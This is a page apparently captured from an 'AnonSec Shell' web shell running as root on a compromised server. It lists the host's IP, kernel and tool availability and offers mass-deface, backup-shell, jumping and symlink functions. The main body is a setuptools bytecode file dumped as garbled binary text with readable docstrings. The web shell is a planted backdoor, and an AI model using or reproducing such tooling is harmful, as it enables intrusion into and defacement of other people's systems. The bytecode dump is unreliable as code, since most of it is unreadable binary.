AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/setuptools/__pycache__/package_index.cpython-310.pyc
o

VD7h���@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlZddlmZddlZddlmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%ddl&m'Z'ddl(m)Z)ddl*m+Z+ddl,m-Z-dd	l.m/Z/e�0d
�Z1e�0dej2�Z3e�0d�Z4e�0d
ej2�j5Z6d�7�Z8gd�Z9dZ:dZ;e;j<dj<ej=�ed�Z>dd�Z?dd�Z@dd�ZAdBdd�ZBdBdd�ZCdBdd�ZDdedfd d!�ZEd"d#�ZFe�0d$ej2�ZGeFd%d&��ZHGd'd(�d(�ZIGd)d*�d*eI�ZJGd+d,�d,e�ZKe�0d-�jLZMd.d/�ZNd0d1�ZOdCd2d3�ZPd4d5�ZQGd6d7�d7�ZRGd8d9�d9ejS�ZTejUjVfd:d;�ZWd<d=�ZXePe:�eW�ZWd>d?�ZYd@dA�ZZdS)Dz#PyPI and direct package downloading�N��wraps)�
CHECKOUT_DIST�Distribution�BINARY_DIST�normalize_path�SOURCE_DIST�Environment�find_distributions�	safe_name�safe_version�to_filename�Requirement�DEVELOP_DIST�EGG_DIST�
parse_version)�log)�DistutilsError)�	translate)�Wheel��unique_everseenz^egg=([-A-Za-z0-9_.+!]+)$zhref\s*=\s*['"]?([^'"> ]+)z�<a href="([^"#]+)">([^<]+)</a>\n\s+\(<a (?:title="MD5 hash"\n\s+)href="[^?]+\?:action=show_md5&amp;digest=([0-9a-f]{32})">md5</a>\)z([-+.a-z0-9]{2,}):z.tar.gz .tar.bz2 .tar .zip .tgz)�PackageIndex�distros_for_url�parse_bdist_wininst�interpret_distro_name�z<setuptools/{setuptools.__version__} Python-urllib/{py_major}z{}.{})�py_major�
setuptoolsc
Cs6zt�|�WSty}ztd|f�|�d}~ww)Nz1Not a URL, existing file, or requirement spec: %r)r�parse�
ValueErrorr)�spec�e�r#�:/usr/lib/python3/dist-packages/setuptools/package_index.py�parse_requirement_arg7s����r%cCs�|��}d\}}}|�d�rS|�d�r|dd�}d}n7|�dd�r1|d	d
�}|dd�}d}n"|�d�r?|dd�}d
}n|�dd�rS|d	d
�}|dd�}d
}|||fS)z=Return (base,pyversion) or (None,None) for possible .exe name)NNN�.exez
.win32.exeNi�����win32z	.win32-pyi�i�������z.win-amd64.exei�z	win-amd64z
.win-amd64-pyi��)�lower�endswith�
startswith)�namer)�base�py_ver�platr#r#r$r@s$




rc	Csxtj�|�}|\}}}}}}tj�|�d�d�}|dkr,|dkr,tj�|�d�d�}d|vr8|�dd�\}}||fS)N�/���zsourceforge.net�download����#�)�urllibr�urlparse�unquote�split)	�url�parts�scheme�server�path�
parameters�query�fragmentr-r#r#r$�egg_info_for_urlXsrBccsf�t|�\}}t|||�D]}|Vq
|r-t�|�}|r/t||�d�|td�D]	}|Vq'dSdSdS)zEYield egg or source distribution objects that might be found at a URLr5)�
precedenceN)rB�distros_for_location�EGG_FRAGMENT�matchr�groupr)r:�metadatar-rA�distrFr#r#r$rcs�

��rcCs�|�d�r|dd�}|�d�rd|vrt�|||�gS|�d�r<d|vr<t|�}|��s/gSt||j|jtdd�gS|�d	�rUt|�\}}}|durUt	||||t
|�StD]}|�|�ro|dt|��}t	|||�SqWgS)
z:Yield egg or source distribution objects based on basename�.egg.zipNr(z.egg�-z.whlr5)�location�project_name�versionrCr&)
r*r�
from_locationr�
is_compatiblerMrNrrrr�
EXTENSIONS�len)rL�basenamerH�wheel�win_baser.�platform�extr#r#r$rDqs4
�
�
�rDcCstt|�tj�|�|�S)zEYield possible egg or source distribution objects based on a filename)rDr�osr>rS)�filenamerHr#r#r$�distros_for_filename�s�rZc
cs~�|�d�}|stdd�|dd�D��rdStdt|�d�D]}t||d�|d|��d�||d��|||d�Vq dS)z�Generate alternative interpretations of a source distro name

    Note: if `location` is a filesystem filename, you should call
    ``pkg_resources.normalize_path()`` on it before passing it to this
    routine!
    rKcss�|]	}t�d|�VqdS)z	py\d\.\d$N)�rerF)�.0�pr#r#r$�	<genexpr>�s�z(interpret_distro_name.<locals>.<genexpr>�Nr5)�
py_versionrCrV)r9�any�rangerRr�join)rLrSrHr`rCrVr;r]r#r#r$r�s�
$
��rcst���fdd��}|S)zs
    Wrap a function returning an iterable such that the resulting iterable
    only ever yields unique items.
    cst�|i|���S�Nr)�args�kwargs��funcr#r$�wrapper�szunique_values.<locals>.wrapperr)rhrir#rgr$�
unique_values�srjz3<([^>]*\srel\s{0,10}=\s{0,10}['"]?([^'" >]+)[^>]*)>c	cs��t�|�D]2}|��\}}tttj|���d���}d|vs#d|vr8t	�|�D]}t
j�|t
|�d���Vq(qdD] }|�|�}|dkr[t	�||�}|r[t
j�|t
|�d���Vq;dS)zEFind rel="homepage" and rel="download" links in `page`, yielding URLs�,�homepager2r5)z
<th>Home Pagez<th>Download URLr1N)�REL�finditer�groups�set�map�str�stripr)r9�HREFr6r�urljoin�
htmldecoderG�find�search)r:�pagerF�tag�rel�rels�posr#r#r$�find_external_links�s ��
��r~c@�(eZdZdZdd�Zdd�Zdd�ZdS)	�ContentCheckerzP
    A null content checker that defines the interface for checking content
    cC�dS)z3
        Feed a block of data to the hash.
        Nr#��self�blockr#r#r$�feed��zContentChecker.feedcCr�)zC
        Check the hash. Return False if validation fails.
        Tr#�r�r#r#r$�is_valid�r�zContentChecker.is_validcCr�)zu
        Call reporter with information about the checker (hash name)
        substituted into the template.
        Nr#)r��reporter�templater#r#r$�report�szContentChecker.reportN)�__name__�
__module__�__qualname__�__doc__r�r�r�r#r#r#r$r��s
r�c@sBeZdZe�d�Zdd�Zedd��Zdd�Z	dd	�Z
d
d�ZdS)
�HashCheckerzK(?P<hash_name>sha1|sha224|sha384|sha256|sha512|md5)=(?P<expected>[a-f0-9]+)cCs||_t�|�|_||_dSrd)�	hash_name�hashlib�new�hash�expected)r�r�r�r#r#r$�__init__�s
zHashChecker.__init__cCsBtj�|�d}|s
t�S|j�|�}|st�S|di|����S)z5Construct a (possibly null) ContentChecker from a URLr1Nr#)r6rr7r��patternrx�	groupdict)�clsr:rArFr#r#r$�from_urlszHashChecker.from_urlcCs|j�|�dSrd)r��updater�r#r#r$r��zHashChecker.feedcCs|j��|jkSrd)r��	hexdigestr�r�r#r#r$r�r�zHashChecker.is_validcCs||j}||�Srd)r�)r�r�r��msgr#r#r$r�s
zHashChecker.reportN)r�r�r�r[�compiler�r��classmethodr�r�r�r�r#r#r#r$r��s�

r�csneZdZdZ		dRdd�Z�fdd	�ZdSdd�ZdSd
d�ZdSdd�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dTdd�Zdd�ZdT�fdd �	Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Z	
	dUd+d,�ZdVd-d.�Zd/d0�Zd1Zd2d3�Zd4d5�ZdTd6d7�Zed8d9��Zd:d;�Zed<d=��Z d>d?�Z!d@dA�Z"dBdC�Z#dDdE�Z$dFdG�Z%dHdI�Z&edJdK��Z'dLdM�Z(dNdO�Z)dPdQ�Z*�Z+S)Wrz;A distribution index that scans web pages for download URLs�https://pypi.org/simple/��*NTcOsrtj|g|�Ri|��|dd|�d��|_i|_i|_i|_t�d�	t
t|���j|_
g|_tjj|_dS)Nr0�|)r	r�r*�	index_url�scanned_urls�fetched_urls�
package_pagesr[r�rcrqrrF�allows�to_scanr6�request�urlopen�opener)r�r��hosts�	ca_bundle�
verify_sslre�kwr#r#r$r�szPackageIndex.__init__cs0zt|j�Wn
tyYdSwt��|�Srd)rrN�	Exception�super�add)r�rI��	__class__r#r$r�*s�zPackageIndex.addFcCs�||jvr	|s	dSd|j|<t|�s|�|�dStt|��}|r.|�|�s(dS|�d|�|s7|r7||jvrAtt|j	|��dS|�|�sMd|j|<dS|�
d|�d|j|<d}|�|||�}|durhdSt|t
jj�r||jdkr||�
d|j�d|j|j<d|j�d	d
���vr�|��dS|j}|��}t|t�s�t|t
jj�r�d}n|j�d�p�d}|�|d
�}|��t�|�D]}	t
j�|t|	� d���}
|�!|
�q�|�"|j#�r�t$|dd�dkr�|�%||�}dSdSdS)z<Evaluate a URL as a possible download, and maybe retrieve itNTzFound link: %sz
Reading %sz<Download error on %s: %%s -- Some packages may not be found!i�zAuthentication error: %s�html�content-type�zlatin-1�charset�ignorer5�code�)&r��
URL_SCHEME�process_filename�listr�url_ok�debugr�rqr��info�open_url�
isinstancer6�error�	HTTPErrorr�r�r:�headers�getr)�close�readrr�	get_param�decodertrnrrurvrG�process_urlr+r��getattr�
process_index)r�r:�retrieve�dists�tmpl�fr-ryr�rF�linkr#r#r$r�3sV






�zPackageIndex.process_urlcCs�tj�|�s|�d|�dStj�|�r/|s/tj�|�}t�|�D]
}|�tj�||�d�q!t	|�}|rE|�
d|�tt|j
|��dSdS)Nz
Not found: %sTz	Found: %s)rXr>�exists�warn�isdir�realpath�listdirr�rcrZr�r�rqr�)r��fn�nestedr>�itemr�r#r#r$r�hs�zPackageIndex.process_filenamecCs`t|�}|o|�d���dk}|s|�tj�|�d�rdSd}|r(t||��|�||�dS)Nr5�fileTzN
Note: Bypassing %s (disallowed host; see http://bit.ly/2hrImnY for details).
)	r�rGr)r�r6rr7rr�)r�r:�fatal�s�is_filer�r#r#r$r�xs�zPackageIndex.url_okcCs2ttjj|�}dd�|D�}tt�|j|��dS)Ncss2�|]}t�|�D]}|�d�r	||fVq	qdS)z	.egg-linkN)rXr�r*)r\r>�entryr#r#r$r^�s����z.PackageIndex.scan_egg_links.<locals>.<genexpr>)�filterrXr>r�r��	itertools�starmap�
scan_egg_link)r��search_path�dirs�	egg_linksr#r#r$�scan_egg_links�s
�zPackageIndex.scan_egg_linkscCs�ttj�||���}ttdttj|���}Wd�n1swYt	|�dkr,dS|\}}t
tj�||��D]}tjj|g|�R�|_t|_
|�|�q9dS)Nr_)�openrXr>rcr�r�rqrrrsrRr
rLrrCr�)r�r>r��	raw_lines�lines�egg_path�
setup_pathrIr#r#r$r��s��zPackageIndex.scan_egg_linkcCs�d}|�|j�s
|Stttjj|t|j�d��d���}t|�dks)d|dvr+|St	|d�}t
|d�}d|j�|�
�i�|<t|�t|�fS)N)NNr0r_r4r5rT)r+r�r�rqr6rr8rRr9rrr��
setdefaultr)r
)r�r��NO_MATCH_SENTINELr;�pkg�verr#r#r$�_scan�s�zPackageIndex._scanc	
Cs�t�|�D]}z|�tj�|t|�d����Wqty!Yqw|�|�\}}|s-dSt	||�D]$}t
|�\}}|�d�rQ|sQ|rL|d||f7}n|�|�|�
|�q2t�dd�|�S)z#Process the contents of a PyPI pager5r��.pyz
#egg=%s-%scSsd|�ddd�S)Nz<a href="%s#md5=%s">%s</a>r5�r_)rG)�mr#r#r$�<lambda>�sz,PackageIndex.process_index.<locals>.<lambda>)rtrnr�r6rrurvrGr r~rBr*�need_version_info�scan_url�PYPI_MD5�sub)	r�r:ryrFr�r��new_urlr-�fragr#r#r$r��s&"�
�zPackageIndex.process_indexcCs|�d|�dS)NzPPage at %s links to .py file(s) without version info; an index scan is required.)�scan_all�r�r:r#r#r$r��s�zPackageIndex.need_version_infocGs<|j|jvr|r|j|g|�R�|�d�|�|j�dS)Nz6Scanning index of all packages (this may take a while))r�r�r�r�r��r�r�rer#r#r$r��s�zPackageIndex.scan_allcCsz|�|j|jd�|j�|j�s|�|j|jd�|j�|j�s)|�|�t|j�|jd��D]}|�|�q3dS)Nr0r#)	r�r��unsafe_namer�r��keyrM�not_found_in_indexr�)r��requirementr:r#r#r$�
find_packages�s
�zPackageIndex.find_packagescsR|��|�|�||jD]}||vr|S|�d||�qtt|��||�S)Nz%s does not match %s)�prescanrrr�r�r�obtain)r�r�	installerrIr�r#r$r�s
zPackageIndex.obtaincCsL|�|jd|�|��s$|��t�|�td|jjtj	�
|�f��dS)z-
        checker is a ContentChecker
        zValidating %%s checksum for %sz7%s validation failed for %s; possible download problem?N)r�r�r�r�rX�unlinkrr�r,r>rS)r��checkerrY�tfpr#r#r$�
check_hash�s�
���zPackageIndex.check_hashcCsN|D]"}|jdust|�r|�d�stt|��r|�|�q|j�|�qdS)z;Add `urls` to the list that will be prescanned for searchesN�file:)r�r�r+r�rr��append)r��urlsr:r#r#r$�add_find_linkss
��
��zPackageIndex.add_find_linkscCs"|jrtt|j|j��d|_dS)z7Scan urls scheduled for prescanning (e.g. --find-links)N)r�r�rqr�r�r#r#r$rs
zPackageIndex.prescancCs<||jr|jd}}n|jd}}|||j�|��dS)Nz#Couldn't retrieve index page for %rz3Couldn't find index page for %r (maybe misspelled?))rr�r�rr�)r�r�methr�r#r#r$rs
�zPackageIndex.not_found_in_indexcCsvt|t�s1t|�}|r%|�||�}t|�\}}|�d�r#|�|||�}|Stj�	|�r-|St
|�}t|�||�dd�S)aLocate and/or download `spec` to `tmpdir`, returning a local path

        `spec` may be a ``Requirement`` object, or a string containing a URL,
        an existing local filename, or a project/version requirement spec
        (i.e. the string form of a ``Requirement`` object).  If it is the URL
        of a .py file with an unambiguous ``#egg=name-version`` tag (i.e., one
        that escapes ``-`` as ``_`` throughout), a trivial ``setup.py`` is
        automatically created alongside the downloaded file.

        If `spec` is a ``Requirement`` object or a string containing a
        project/version requirement spec, this method returns the location of
        a matching distribution (possibly after downloading it to `tmpdir`).
        If `spec` is a locally existing file or directory name, it is simply
        returned unchanged.  If `spec` is a URL, it is downloaded to a subpath
        of `tmpdir`, and the local filename is returned.  Various errors may be
        raised if a problem occurs during downloading.
        r�rLN)
r�rr��
_download_urlrBr*�	gen_setuprXr>r�r%r��fetch_distribution)r�r!�tmpdirr<�foundr-rAr#r#r$r2$s

zPackageIndex.downloadc	s���d|�i�d}d
�����fdd�	}|r$�����|�||�}|s/|dur/|||�}|dur@�jdur<���||�}|durO|sO��|�||�}|dur`��d�rZdp[d|�dS��d|�|j|jd	�S)a|Obtain a distribution suitable for fulfilling `requirement`

        `requirement` must be a ``pkg_resources.Requirement`` instance.
        If necessary, or if the `force_scan` flag is set, the requirement is
        searched for in the (online) package index as well as the locally
        installed packages.  If a distribution matching `requirement` is found,
        the returned distribution's ``location`` is the value you would have
        gotten from calling the ``download()`` method with the matching
        distribution's URL or filename.  If no matching distribution is found,
        ``None`` is returned.

        If the `source` flag is set, only source distributions and source
        checkout links will be considered.  Unless the `develop_ok` flag is
        set, development and system eggs (i.e., those using the ``.egg-info``
        format) will be ignored.
        zSearching for %sNcs�|dur�}||jD];}|jtkr#�s#|�vr"��d|�d�|<q||vo.|jtkp.�}|rF��|j��}||_tj	�
|j�rF|SqdS)Nz&Skipping development or system egg: %sr5)rrCrr�rr2rL�download_locationrXr>r�)�req�envrI�test�loc��
develop_okr��skipped�sourcerr#r$rw^s(����z-PackageIndex.fetch_distribution.<locals>.findz:No local packages or working download links found for %s%sza source distribution of r�zBest match: %s)rLrd)r�rrr�r��cloner)	r�rr�
force_scanr r�local_indexrIrwr#rr$rFs2




�zPackageIndex.fetch_distributioncCs"|�||||�}|dur|jSdS)a3Obtain a file suitable for fulfilling `requirement`

        DEPRECATED; use the ``fetch_distribution()`` method now instead.  For
        backward compatibility, this routine is identical but returns the
        ``location`` of the downloaded distribution instead of a distribution
        object.
        N)rrL)r�rrr"r rIr#r#r$�fetch�szPackageIndex.fetchc
	Cst�|�}|rdd�t||�d�d�D�pg}t|�dkrxtj�|�}tj�|�|krEtj�	||�}ddl
m}|||�sEt�
||�|}ttj�	|d�d��}	|	�d|dj|djtj�|�df�Wd�|S1sqwY|S|r�td	||f��td
��)NcSsg|]}|jr|�qSr#)rN)r\�dr#r#r$�
<listcomp>�s��z*PackageIndex.gen_setup.<locals>.<listcomp>r5r)�samefilezsetup.py�wzIfrom setuptools import setup
setup(name=%r, version=%r, py_modules=[%r])
z�Can't unambiguously interpret project/version identifier %r; any dashes in the name or version should be escaped using underscores. %rzpCan't process plain .py files without an '#egg=name-version' suffix to enable automatic setup script generation.)rErFrrGrRrXr>rS�dirnamerc�setuptools.command.easy_installr'�shutil�copy2r��writerMrN�splitextr)
r�rYrArrFr�rS�dstr'r�r#r#r$r�sF

��
���
�	�	���zPackageIndex.gen_setupi cCs2|�d|�d}z�t�|�}|�|�}t|tjj�r%td||j	|j
f��|��}d}|j}d}d|vrI|�d�}	t
tt|	��}|�|||||�t|d��1}
	|�|�}|ro|�|�|
�|�|d	7}|�|||||�nnqP|�|||
�Wd�n1s�wY|W|r�|��SS|r�|��ww)
NzDownloading %szCan't download %s: %s %srr1zcontent-lengthzContent-Length�wbTr5)r�r�r�r�r�r6r�r�rr�r��dl_blocksize�get_all�maxrq�int�
reporthookr�r�r�r-r
r�)r�r:rY�fprr��blocknum�bs�size�sizesrr�r#r#r$�_download_to�sF

�



�	�
�
�zPackageIndex._download_tocCsdSrdr#)r�r:rYr7�blksizer9r#r#r$r5��zPackageIndex.reporthookc
Cs�|�d�r	t|�Szt||j�WSttjjfyD}z$d�dd�|j	D��}|r0|�
||�n	td||f�|�WYd}~dSd}~wtj
jyY}z|WYd}~Sd}~wtj
jy�}z|rl|�
||j�n
td||jf�|�WYd}~dSd}~wtjjy�}z|r�|�
||j�n
td||jf�|�WYd}~dSd}~wtjjtj
fy�}z|r�|�
||�n	td||f�|�WYd}~dSd}~ww)Nr� cSsg|]}t|��qSr#)rr)r\�argr#r#r$r&�sz)PackageIndex.open_url.<locals>.<listcomp>z%s %szDownload error for %s: %sz;%s returned a bad status line. The server might be down, %s)r+�
local_open�open_with_authr�r �http�client�
InvalidURLrcrer�rr6r�r��URLError�reason�
BadStatusLine�line�
HTTPException�socket)r�r:�warning�vr�r#r#r$r��s^
�����������������zPackageIndex.open_urlcCs~t|�\}}|rd|vr|�dd��dd�}d|vsnd}|�d�r(|dd�}tj�||�}|�t|��s=td	|����|S)
aB
        >>> import pathlib
        >>> du = PackageIndex._resolve_download_filename
        >>> root = getfixture('tmp_path')
        >>> url = 'https://files.pythonhosted.org/packages/a9/5a/0db.../setuptools-78.1.0.tar.gz'
        >>> str(pathlib.Path(du(url, root)).relative_to(root))
        'setuptools-78.1.0.tar.gz'

        Ensures the target is always in tmpdir.

        >>> url = 'https://anyhost/%2fhome%2fuser%2f.ssh%2fauthorized_keys'
        >>> du(url, root)
        Traceback (most recent call last):
        ...
        ValueError: Invalid filename...
        z..�.�\�_�__downloaded__rJNr(zInvalid filename )	rB�replacer*rXr>rcr+rrr )r:rr,rArYr#r#r$�_resolve_download_filenames��
z'PackageIndex._resolve_download_filenamecCs$|�||�}|�||�p|�||�S)z2
        Determine the download filename.
        )rR�
_download_vcs�_download_other)r�r:rrYr#r#r$r9szPackageIndex._download_urlcCsLtj�|�j}|�d�\}}}tddgdgt|��}tt|h|@�d�S)a

        >>> rvcs = PackageIndex._resolve_vcs
        >>> rvcs('git+http://foo/bar')
        'git'
        >>> rvcs('hg+https://foo/bar')
        'hg'
        >>> rvcs('git:myhost')
        'git'
        >>> rvcs('hg:myhost')
        >>> rvcs('http://foo/bar')
        �+�svn�git�hgN)	r6r�urlsplitr<�	partitionrp�bool�next�iter)r:r<�pre�sep�post�allowedr#r#r$�_resolve_vcs@s
zPackageIndex._resolve_vcsc
Cs�|�|�}|s	dS|dkr|�||�S|�d�\}}}|�|�\}}|�d|�d|�d|���t�|dd||g�t|d|d	d|g|d
|ddd|d
gd�}|dura|�d|���t�||�|S)NrVr4zDoing z clone from z to r!z--quietz-C�checkoutz--cwd�upz-r�-q)rWrXz
Checking out )rb�
_download_svnrZ�_vcs_split_rev_from_urlr��
subprocess�
check_call�dict)r�r:�
spec_filename�vcsrYrO�rev�co_commandsr#r#r$rSSs"
�zPackageIndex._download_vcscCsDtj�|�j}|dkrtj�tj�|�j�S|�|d�|�	||�S)Nr�T)
r6rrYr<r��url2pathnamer7r>r��_attempt_download)r�r:rYr<r#r#r$rTjs
zPackageIndex._download_othercCs|�|d�dS)NT)r�rr#r#r$r�rr�zPackageIndex.scan_urlcCs2|�||�}d|�dd���vr|�|||�S|S)Nr�r�r�)r;r�r)�_download_html)r�r:rYr�r#r#r$rpuszPackageIndex._attempt_downloadcCsjt|�}|D]}|��r%t�d|�r#|��t�|�|�||�Snq|��t�|�td|��)Nz <title>([^- ]+ - )?Revision \d+:zUnexpected HTML page found at )	r�rsr[rxr�rXr
rfr)r�r:r�rYr�rHr#r#r$rq|s
�
zPackageIndex._download_htmlcCst�dt�|�dd�d}g}|���d�rwd|vrwtj�|�\}}}}}}	|sw|�d�rwd|d	d�vrw|d	d��dd�\}}t	|�\}
}|
rwd
|
vr`|
�d
d�\}}
|�
d|d|
g�n|�
d|
g�|}||||||	f}tj�|�}|�d
||�gd�|||g}t
�|�|S)Nz"SVN download support is deprecatedr4r5rzsvn:�@z//r0r_�:z
--usernamez
--passwordz'Doing subversion checkout from %s to %s)rVrcre)�warningsr��UserWarningr9r)r+r6rr7�
_splituser�extend�
urlunparser�rhri)r�r:rY�credsr<�netlocr>r]�qr��auth�host�user�pwr;�cmdr#r#r$rf�s(
zPackageIndex._download_svncCsttj�|�}|j�dd�d}|j�d�\}}}|�d�\}}}|r&||fn|df\}}	|j||dd��	�}
|
|	fS)	a�
        Given a possible VCS URL, return a clean URL and resolved revision if any.

        >>> vsrfu = PackageIndex._vcs_split_rev_from_url
        >>> vsrfu('git+https://github.com/pypa/setuptools@v69.0.0#egg-info=setuptools')
        ('https://github.com/pypa/setuptools', 'v69.0.0')
        >>> vsrfu('git+https://github.com/pypa/setuptools#egg-info=setuptools')
        ('https://github.com/pypa/setuptools', None)
        >>> vsrfu('http://foo/bar')
        ('http://foo/bar', None)
        rUr5r1r4rrNr�)r<r>rA)
r6rrYr<r9r>rZ�
rpartition�_replace�geturl)r:r;�clean_scheme�no_fragment_pathrOr^r_r`�
clean_pathrm�resolvedr#r#r$rg�s
��z$PackageIndex._vcs_split_rev_from_urlcG�tj|g|�R�dSrd)rr�rr#r#r$r���zPackageIndex.debugcGr�rd)rr�rr#r#r$r��r�zPackageIndex.infocGr�rd)rr�rr#r#r$r��r�zPackageIndex.warn)r�r�NT)Frd)FFFN)FF),r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr
rrrr2rr$rr1r;r5r��staticmethodrRrrbrSrTr�rprqrfrgr�r�r��
__classcell__r#r#r�r$rs^
�
	
5



		
#
�
L
)$
#
#

rz!&(#(\d+|x[\da-fA-F]+)|[\w.:-]+);?cCs|�d�}t�|�S)Nr)rGr��unescape)rF�whatr#r#r$�
decode_entity�s

r�cCs
tt|�S)a
    Decode HTML entities in the given text.

    >>> htmldecode(
    ...     'https://../package_name-0.1.2.tar.gz'
    ...     '?tokena=A&amp;tokenb=B">package_name-0.1.2.tar.gz')
    'https://../package_name-0.1.2.tar.gz?tokena=A&tokenb=B">package_name-0.1.2.tar.gz'
    )�
entity_subr�)�textr#r#r$rv�s
	rvcs�fdd�}|S)Ncs��fdd�}|S)Nc	s:t��}t���z
�|i|��Wt�|�St�|�wrd)rJ�getdefaulttimeout�setdefaulttimeout)rerf�old_timeout)rh�timeoutr#r$�_socket_timeout�s

z@socket_timeout.<locals>._socket_timeout.<locals>._socket_timeoutr#)rhr��r�rgr$r��sz'socket_timeout.<locals>._socket_timeoutr#)r�r�r#r�r$�socket_timeout�sr�cCs2tj�|�}|��}t�|�}|��}|�dd�S)a9
    Encode auth from a URL suitable for an HTTP header.
    >>> str(_encode_auth('username%3Apassword'))
    'dXNlcm5hbWU6cGFzc3dvcmQ='

    Long auth strings should not cause a newline to be inserted.
    >>> long_auth = 'username:' + 'password'*10
    >>> chr(10) in str(_encode_auth(long_auth))
    False
    �
r�)r6rr8�encode�base64�	b64encoder�rQ)r|�auth_s�
auth_bytes�
encoded_bytes�encodedr#r#r$�_encode_auth�s

r�c@r)	�
Credentialz:
    A username/password pair. Use like a namedtuple.
    cCs||_||_dSrd��username�password)r�r�r�r#r#r$r�s
zCredential.__init__ccs�|jV|jVdSrdr�r�r#r#r$�__iter__s�zCredential.__iter__cCsdt|�S)Nz%(username)s:%(password)s)�varsr�r#r#r$�__str__szCredential.__str__N)r�r�r�r�r�r�r�r#r#r#r$r�s
r�c@s0eZdZdd�Zedd��Zdd�Zdd�Zd	S)
�
PyPIConfigcCsRt�gd�d�}tj�||�tj�tj�d�d�}tj�	|�r'|�
|�dSdS)z%
        Load from ~/.pypirc
        )r�r��
repositoryr��~z.pypircN)rj�fromkeys�configparser�RawConfigParserr�rXr>rc�
expanduserr�r�)r��defaults�rcr#r#r$r�s�zPyPIConfig.__init__cs&�fdd����D�}tt�j|��S)Ncs g|]}��|d���r|�qS)r�)r�rs)r\�sectionr�r#r$r&&s��z2PyPIConfig.creds_by_repository.<locals>.<listcomp>)�sectionsrjrq�_get_repo_cred)r��sections_with_repositoriesr#r�r$�creds_by_repository$s
�zPyPIConfig.creds_by_repositorycCs6|�|d���}|t|�|d���|�|d����fS)Nr�r�r�)r�rsr�)r�r��repor#r#r$r�-s
�zPyPIConfig._get_repo_credcCs*|j��D]
\}}|�|�r|SqdS)z�
        If the URL indicated appears to be a repository defined in this
        config, return the credential for that repository.
        N)r��itemsr+)r�r:r��credr#r#r$�find_credential4s

��zPyPIConfig.find_credentialN)r�r�r�r��propertyr�r�r�r#r#r#r$r�s
r�cCs:tj�|�}|\}}}}}}|�d�rtj�d��|dvr$t|�\}	}
nd}	|	sBt��	|�}|rBt
|�}	|j|f}tj
dg|�R�|	redt|	�}	||
||||f}
tj�|
�}tj�|�}|�d|	�ntj�|�}|�dt�||�}|	r�tj�|j�\}}}}}}||kr�||
kr�||||||f}
tj�|
�|_|S)	z4Open a urllib2 request, handling HTTP authenticationrsznonnumeric port: '')rB�httpsNz*Authenticating as %s for %s (from .pypirc)zBasic �
Authorizationz
User-Agent)r6rr7r*rBrCrDrvr�r�rrr�rr�r�rxr��Request�
add_header�
user_agentr:)r:r��parsedr<rzr>�paramsr@r�r|�addressr�r�r;r�r�r6�s2�h2�path2�param2�query2�frag2r#r#r$rA>s8

rAcCs$|�d�\}}}|r||fSd|fS)zNsplituser('user[:passwd]@host[:port]')
    --> 'user[:passwd]', 'host[:port]'.rrN)r�)r}r~�delimr#r#r$rvmsrvcCs|Srdr#)r:r#r#r$�
fix_sf_urlxr=r�c	Cs*tj�|�\}}}}}}tj�|�}tj�|�rtj�|�S|�	d�r}tj�
|�r}g}t�|�D];}	tj�||	�}
|	dkrXt
|
d��}|��}Wd�n1sQwYn tj�
|
�rb|	d7}	|�dj|	d��q0d}
|
j|d�|�d	�}d
\}}nd\}}}dd
i}t�|�}tj�|||||�S)z7Read a local path, with special support for directoriesr0z
index.html�rNz<a href="{name}">{name}</a>)r,zB<html><head><title>{url}</title></head><body>{files}</body></html>r�)r:�files)���OK)r�zPath not foundz	Not foundr�z	text/html)r6rr7r�rorXr>�isfiler�r*r�r�rcr�r�r�format�io�StringIOr�r�)r:r<r=r>�paramr@r�rYr�r��filepathr6�bodyr��status�messager��body_streamr#r#r$r@|s0
��


r@rd)r)[r��sysrhrXr[r�r+rJr�r�r�rtr�r��http.clientrB�urllib.parser6�urllib.request�urllib.error�	functoolsrr�
pkg_resourcesrrrrrr	r
rrr
rrrr�	distutilsr�distutils.errorsr�fnmatchr�setuptools.wheelr� setuptools.extern.more_itertoolsrr�rE�Irtr�rFr�r9rQ�__all__�_SOCKET_TIMEOUT�_tmplr��version_infor�r%rrBrrDrZrrjrmr~r�r�rr�r�r�rvr�r�r�r�r�r�r�rArvr�r@r#r#r#r$�<module>s�@
��	


!
�#

!:
&/

Anon7 - 2022
AnonSec Team